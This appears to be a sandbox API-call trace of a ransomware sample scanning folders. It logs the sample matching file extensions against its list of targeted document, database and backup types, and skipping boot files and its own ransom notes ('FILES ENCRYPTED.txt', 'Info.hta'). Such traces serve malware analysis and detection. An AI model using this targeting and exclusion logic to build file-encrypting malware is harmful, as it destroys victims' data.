returned 4 [0181.310] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1 [0181.310] lstrlenW (lpString=".config") returned 7 [0181.310] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1 [0181.310] lstrlenW (lpString=".cpp") returned 4 [0181.310] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1 [0181.310] lstrlenW (lpString=".cr2") returned 4 [0181.310] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1 [0181.310] lstrlenW (lpString=".crt") returned 4 [0181.310] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1 [0181.310] lstrlenW (lpString=".crw") returned 4 [0181.310] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1 [0181.310] lstrlenW (lpString=".cs") returned 3 [0181.310] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1 [0181.310] lstrlenW (lpString=".css") returned 4 [0181.310] lstrcmpiW (lpString1=".css", lpString2="html") returned -1 [0181.310] lstrlenW (lpString=".csv") returned 4 [0181.310] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1 [0181.310] lstrlenW (lpString=".cub") returned 4 [0181.310] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1 [0181.310] lstrlenW (lpString=".dae") returned 4 [0181.310] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1 [0181.310] lstrlenW (lpString=".dat") returned 4 [0181.310] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1 [0181.310] lstrlenW (lpString=".db") returned 3 [0181.310] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1 [0181.310] lstrlenW (lpString=".dbf") returned 4 [0181.310] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0181.310] lstrlenW (lpString=".dbx") returned 4 [0181.310] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1 [0181.310] lstrlenW (lpString=".dc3") returned 4 [0181.311] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1 [0181.311] lstrlenW (lpString=".dcm") returned 4 [0181.311] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1 [0181.311] lstrlenW (lpString=".dcr") returned 4 [0181.311] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1 [0181.311] lstrlenW (lpString=".der") returned 4 [0181.311] lstrcmpiW (lpString1=".der", lpString2="html") returned -1 [0181.311] lstrlenW (lpString=".dib") returned 4 [0181.311] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1 [0181.311] lstrlenW (lpString=".dic") returned 4 [0181.311] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1 [0181.311] lstrlenW (lpString=".dif") returned 4 [0181.311] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1 [0181.311] lstrlenW (lpString=".divx") returned 5 [0181.311] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1 [0181.311] lstrlenW (lpString=".djvu") returned 5 [0181.311] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1 [0181.311] lstrlenW (lpString=".dng") returned 4 [0181.311] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1 [0181.311] lstrlenW (lpString=".doc") returned 4 [0181.311] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0181.311] lstrlenW (lpString=".docm") returned 5 [0181.311] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1 [0181.311] lstrlenW (lpString=".docx") returned 5 [0181.311] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0181.311] lstrlenW (lpString=".dot") returned 4 [0181.311] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1 [0181.311] lstrlenW (lpString=".dotm") returned 5 [0181.311] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1 [0181.311] lstrlenW (lpString=".dotx") returned 5 [0181.311] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1 [0181.311] lstrlenW (lpString=".dpx") returned 4 [0181.312] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1 [0181.312] lstrlenW (lpString=".dqy") returned 4 [0181.312] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1 [0181.312] lstrlenW (lpString=".dsn") returned 4 [0181.312] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1 [0181.312] lstrlenW (lpString=".dt") returned 3 [0181.312] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1 [0181.312] lstrlenW (lpString=".dtd") returned 4 [0181.312] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1 [0181.312] lstrlenW (lpString=".dwg") returned 4 [0181.312] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1 [0181.312] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0181.312] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0181.313] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e32400a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1d6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0181.313] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e32400a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1d6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0181.313] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0181.314] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0181.314] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa772ddc0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e32400a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0181.314] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG") returned 100 [0181.333] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG") returned 1 [0181.333] lstrlenW (lpString="bg-BG") returned 5 [0181.333] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="bg-BG") returned 1 [0181.333] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0181.333] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG") returned 100 [0181.333] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa772ddc0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e32400a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484d18 [0181.334] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa772ddc0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e32400a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0181.334] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e32400a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xd556, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0181.334] lstrlenW (lpString="index.html") returned 10 [0181.334] lstrlenW (lpString=".1cd") returned 4 [0181.334] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0181.334] lstrlenW (lpString=".3ds") returned 4 [0181.334] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1 [0181.334] lstrlenW (lpString=".3fr") returned 4 [0181.334] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1 [0181.334] lstrlenW (lpString=".3g2") returned 4 [0181.334] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1 [0181.334] lstrlenW (lpString=".3gp") returned 4 [0181.334] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1 [0181.335] lstrlenW (lpString=".7z") returned 3 [0181.335] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0181.335] lstrlenW (lpString=".accda") returned 6 [0181.335] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1 [0181.335] lstrlenW (lpString=".accdb") returned 6 [0181.335] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1 [0181.335] lstrlenW (lpString=".accdc") returned 6 [0181.335] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1 [0181.335] lstrlenW (lpString=".accde") returned 6 [0181.335] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1 [0181.335] lstrlenW (lpString=".accdt") returned 6 [0181.335] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1 [0181.335] lstrlenW (lpString=".accdw") returned 6 [0181.335] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1 [0181.335] lstrlenW (lpString=".adb") returned 4 [0181.335] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1 [0181.335] lstrlenW (lpString=".adp") returned 4 [0181.335] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1 [0181.335] lstrlenW (lpString=".ai") returned 3 [0181.335] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1 [0181.335] lstrlenW (lpString=".ai3") returned 4 [0181.335] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1 [0181.335] lstrlenW (lpString=".ai4") returned 4 [0181.335] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1 [0181.335] lstrlenW (lpString=".ai5") returned 4 [0181.335] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1 [0181.335] lstrlenW (lpString=".ai6") returned 4 [0181.335] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1 [0181.336] lstrlenW (lpString=".ai7") returned 4 [0181.336] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1 [0181.336] lstrlenW (lpString=".ai8") returned 4 [0181.336] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1 [0181.336] lstrlenW (lpString=".anim") returned 5 [0181.336] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1 [0181.336] lstrlenW (lpString=".arw") returned 4 [0181.336] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1 [0181.336] lstrlenW (lpString=".as") returned 3 [0181.336] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1 [0181.336] lstrlenW (lpString=".asa") returned 4 [0181.336] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1 [0181.337] lstrlenW (lpString=".asc") returned 4 [0181.337] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1 [0181.337] lstrlenW (lpString=".ascx") returned 5 [0181.337] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1 [0181.337] lstrlenW (lpString=".asm") returned 4 [0181.337] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1 [0181.337] lstrlenW (lpString=".asmx") returned 5 [0181.337] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1 [0181.337] lstrlenW (lpString=".asp") returned 4 [0181.337] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1 [0181.337] lstrlenW (lpString=".aspx") returned 5 [0181.337] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1 [0181.337] lstrlenW (lpString=".asr") returned 4 [0181.337] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1 [0181.337] lstrlenW (lpString=".asx") returned 4 [0181.337] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1 [0181.337] lstrlenW (lpString=".avi") returned 4 [0181.337] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1 [0181.337] lstrlenW (lpString=".avs") returned 4 [0181.337] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1 [0181.337] lstrlenW (lpString=".backup") returned 7 [0181.337] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1 [0181.337] lstrlenW (lpString=".bak") returned 4 [0181.337] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1 [0181.337] lstrlenW (lpString=".bay") returned 4 [0181.337] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1 [0181.337] lstrlenW (lpString=".bd") returned 3 [0181.337] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1 [0181.337] lstrlenW (lpString=".bin") returned 4 [0181.337] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1 [0181.337] lstrlenW (lpString=".bmp") returned 4 [0181.338] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1 [0181.338] lstrlenW (lpString=".bz2") returned 4 [0181.338] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0181.338] lstrlenW (lpString=".c") returned 2 [0181.338] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0181.338] lstrlenW (lpString=".cdr") returned 4 [0181.338] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1 [0181.338] lstrlenW (lpString=".cer") returned 4 [0181.338] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1 [0181.338] lstrlenW (lpString=".cf") returned 3 [0181.338] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1 [0181.338] lstrlenW (lpString=".cfc") returned 4 [0181.338] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1 [0181.338] lstrlenW (lpString=".cfm") returned 4 [0181.338] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1 [0181.338] lstrlenW (lpString=".cfml") returned 5 [0181.338] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1 [0181.338] lstrlenW (lpString=".cfu") returned 4 [0181.338] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1 [0181.338] lstrlenW (lpString=".chm") returned 4 [0181.338] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1 [0181.338] lstrlenW (lpString=".cin") returned 4 [0181.338] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1 [0181.338] lstrlenW (lpString=".class") returned 6 [0181.338] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1 [0181.338] lstrlenW (lpString=".clx") returned 4 [0181.338] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1 [0181.338] lstrlenW (lpString=".config") returned 7 [0181.338] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1 [0181.338] lstrlenW (lpString=".cpp") returned 4 [0181.338] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1 [0181.338] lstrlenW (lpString=".cr2") returned 4 [0181.338] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1 [0181.338] lstrlenW (lpString=".crt") returned 4 [0181.339] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1 [0181.339] lstrlenW (lpString=".crw") returned 4 [0181.339] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1 [0181.339] lstrlenW (lpString=".cs") returned 3 [0181.339] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1 [0181.339] lstrlenW (lpString=".css") returned 4 [0181.339] lstrcmpiW (lpString1=".css", lpString2="html") returned -1 [0181.339] lstrlenW (lpString=".csv") returned 4 [0181.339] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1 [0181.339] lstrlenW (lpString=".cub") returned 4 [0181.339] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1 [0181.339] lstrlenW (lpString=".dae") returned 4 [0181.339] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1 [0181.339] lstrlenW (lpString=".dat") returned 4 [0181.339] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1 [0181.339] lstrlenW (lpString=".db") returned 3 [0181.339] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1 [0181.339] lstrlenW (lpString=".dbf") returned 4 [0181.339] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0181.339] lstrlenW (lpString=".dbx") returned 4 [0181.339] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1 [0181.339] lstrlenW (lpString=".dc3") returned 4 [0181.339] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1 [0181.339] lstrlenW (lpString=".dcm") returned 4 [0181.339] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1 [0181.339] lstrlenW (lpString=".dcr") returned 4 [0181.339] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1 [0181.339] lstrlenW (lpString=".der") returned 4 [0181.339] lstrcmpiW (lpString1=".der", lpString2="html") returned -1 [0181.339] lstrlenW (lpString=".dib") returned 4 [0181.339] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1 [0181.339] lstrlenW (lpString=".dic") returned 4 [0181.339] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1 [0181.340] lstrlenW (lpString=".dif") returned 4 [0181.340] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1 [0181.340] lstrlenW (lpString=".divx") returned 5 [0181.340] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1 [0181.340] lstrlenW (lpString=".djvu") returned 5 [0181.340] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1 [0181.340] lstrlenW (lpString=".dng") returned 4 [0181.340] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1 [0181.340] lstrlenW (lpString=".doc") returned 4 [0181.340] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0181.340] lstrlenW (lpString=".docm") returned 5 [0181.340] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1 [0181.340] lstrlenW (lpString=".docx") returned 5 [0181.340] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0181.340] lstrlenW (lpString=".dot") returned 4 [0181.340] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1 [0181.340] lstrlenW (lpString=".dotm") returned 5 [0181.340] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1 [0181.340] lstrlenW (lpString=".dotx") returned 5 [0181.340] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1 [0181.340] lstrlenW (lpString=".dpx") returned 4 [0181.340] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1 [0181.340] lstrlenW (lpString=".dqy") returned 4 [0181.340] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1 [0181.340] lstrlenW (lpString=".dsn") returned 4 [0181.340] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1 [0181.340] lstrlenW (lpString=".dt") returned 3 [0181.340] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1 [0181.340] lstrlenW (lpString=".dtd") returned 4 [0181.340] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1 [0181.340] lstrlenW (lpString=".dwg") returned 4 [0181.340] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1 [0181.340] lstrlenW (lpString=".dwt") returned 4 [0181.340] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1 [0181.340] lstrlenW (lpString=".dx") returned 3 [0181.341] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1 [0181.341] lstrlenW (lpString=".dxf") returned 4 [0181.341] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1 [0181.341] lstrlenW (lpString=".edml") returned 5 [0181.341] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1 [0181.341] lstrlenW (lpString=".efd") returned 4 [0181.341] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1 [0181.341] lstrlenW (lpString=".elf") returned 4 [0181.341] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1 [0181.341] lstrlenW (lpString=".emf") returned 4 [0181.341] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1 [0181.341] lstrlenW (lpString=".emz") returned 4 [0181.341] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1 [0181.341] lstrlenW (lpString=".epf") returned 4 [0181.341] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1 [0181.341] lstrlenW (lpString=".eps") returned 4 [0181.341] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1 [0181.341] lstrlenW (lpString=".epsf") returned 5 [0181.341] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1 [0181.341] lstrlenW (lpString=".epsp") returned 5 [0181.341] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1 [0181.341] lstrlenW (lpString=".erf") returned 4 [0181.341] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1 [0181.341] lstrlenW (lpString=".exr") returned 4 [0181.341] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1 [0181.341] lstrlenW (lpString=".f4v") returned 4 [0181.341] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1 [0181.341] lstrlenW (lpString=".fido") returned 5 [0181.341] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1 [0181.341] lstrlenW (lpString=".flm") returned 4 [0181.341] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1 [0181.341] lstrlenW (lpString=".flv") returned 4 [0181.341] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1 [0181.341] lstrlenW (lpString=".frm") returned 4 [0181.342] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1 [0181.342] lstrlenW (lpString=".fxg") returned 4 [0181.342] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1 [0181.342] lstrlenW (lpString=".geo") returned 4 [0181.342] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1 [0181.342] lstrlenW (lpString=".gif") returned 4 [0181.342] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1 [0181.342] lstrlenW (lpString=".grs") returned 4 [0181.342] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1 [0181.342] lstrlenW (lpString=".gz") returned 3 [0181.342] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1 [0181.342] lstrlenW (lpString=".h") returned 2 [0181.342] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0181.342] lstrlenW (lpString=".hdr") returned 4 [0181.342] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1 [0181.342] lstrlenW (lpString=".hpp") returned 4 [0181.342] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1 [0181.342] lstrlenW (lpString=".hta") returned 4 [0181.342] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1 [0181.342] lstrlenW (lpString=".htc") returned 4 [0181.342] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1 [0181.342] lstrlenW (lpString=".htm") returned 4 [0181.342] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1 [0181.342] lstrlenW (lpString=".html") returned 5 [0181.342] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0 [0181.342] lstrlenW (lpString="index.html") returned 10 [0181.342] lstrlenW (lpString=".NEWS") returned 5 [0181.342] lstrcmpiW (lpString1=".NEWS", lpString2=".html") returned 1 [0181.342] lstrlenW (lpString="index.html") returned 10 [0181.342] lstrcmpiW (lpString1="boot.ini", lpString2="index.html") returned -1 [0181.342] lstrcmpiW (lpString1="bootfont.bin", lpString2="index.html") returned -1 [0181.342] lstrcmpiW (lpString1="ntldr", lpString2="index.html") returned 1 [0181.342] lstrcmpiW (lpString1="ntdetect.com", lpString2="index.html") returned 1 [0181.343] lstrcmpiW (lpString1="io.sys", lpString2="index.html") returned 1 [0181.343] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="index.html") returned -1 [0181.343] lstrcmpiW (lpString1="Info.hta", lpString2="index.html") returned 1 [0181.343] lstrcmpiW (lpString1="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe", lpString2="index.html") returned -1 [0181.343] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\index.html") returned 111 [0181.343] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e32400a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x2ad, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0181.343] lstrlenW (lpString="toastbeginupgrade.xml") returned 21 [0181.343] lstrlenW (lpString=".1cd") returned 4 [0181.343] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0181.343] lstrlenW (lpString=".3ds") returned 4 [0181.343] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0181.343] lstrlenW (lpString=".3fr") returned 4 [0181.343] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0181.343] lstrlenW (lpString=".3g2") returned 4 [0181.343] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0181.343] lstrlenW (lpString=".3gp") returned 4 [0181.343] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0181.343] lstrlenW (lpString=".7z") returned 3 [0181.343] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0181.343] lstrlenW (lpString=".accda") returned 6 [0181.343] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1 [0181.343] lstrlenW (lpString=".accdb") returned 6 [0181.343] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1 [0181.343] lstrlenW (lpString=".accdc") returned 6 [0181.343] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1 [0181.343] lstrlenW (lpString=".accde") returned 6 [0181.343] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1 [0181.343] lstrlenW (lpString=".accdt") returned 6 [0181.343] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1 [0181.343] lstrlenW (lpString=".accdw") returned 6 [0181.344] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1 [0181.344] lstrlenW (lpString=".adb") returned 4 [0181.344] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0181.344] lstrlenW (lpString=".adp") returned 4 [0181.344] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0181.344] 